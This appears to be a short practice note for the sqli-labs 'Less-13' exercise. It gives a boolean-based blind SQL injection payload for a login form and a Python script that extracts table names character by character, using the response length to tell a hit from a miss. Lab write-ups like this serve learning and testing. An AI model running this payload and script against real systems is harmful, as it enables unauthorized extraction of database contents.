Less -13

and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))='e' #&passwd=admin&submit=Submit

# right 1493
# error 1454
import requests
import time

url="https://sql.alienwares.top/Less-13/"
for i in range(1,100):
    for e in range(ord("a"), ord("z") + 1):
        parm={"uname":"admin') and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),+"+str(i)+",1))='"+chr(e)+"' #", "passwd":"admin" ,"submit":"Submit"}

        try:
            res=requests.post(url,parm)
        except requests.exceptions.ConnectionError:
            time.sleep(2)
            res=requests.post(url,parm)


        if(len(res.content)==1493):
            print(chr(e),end="")
            break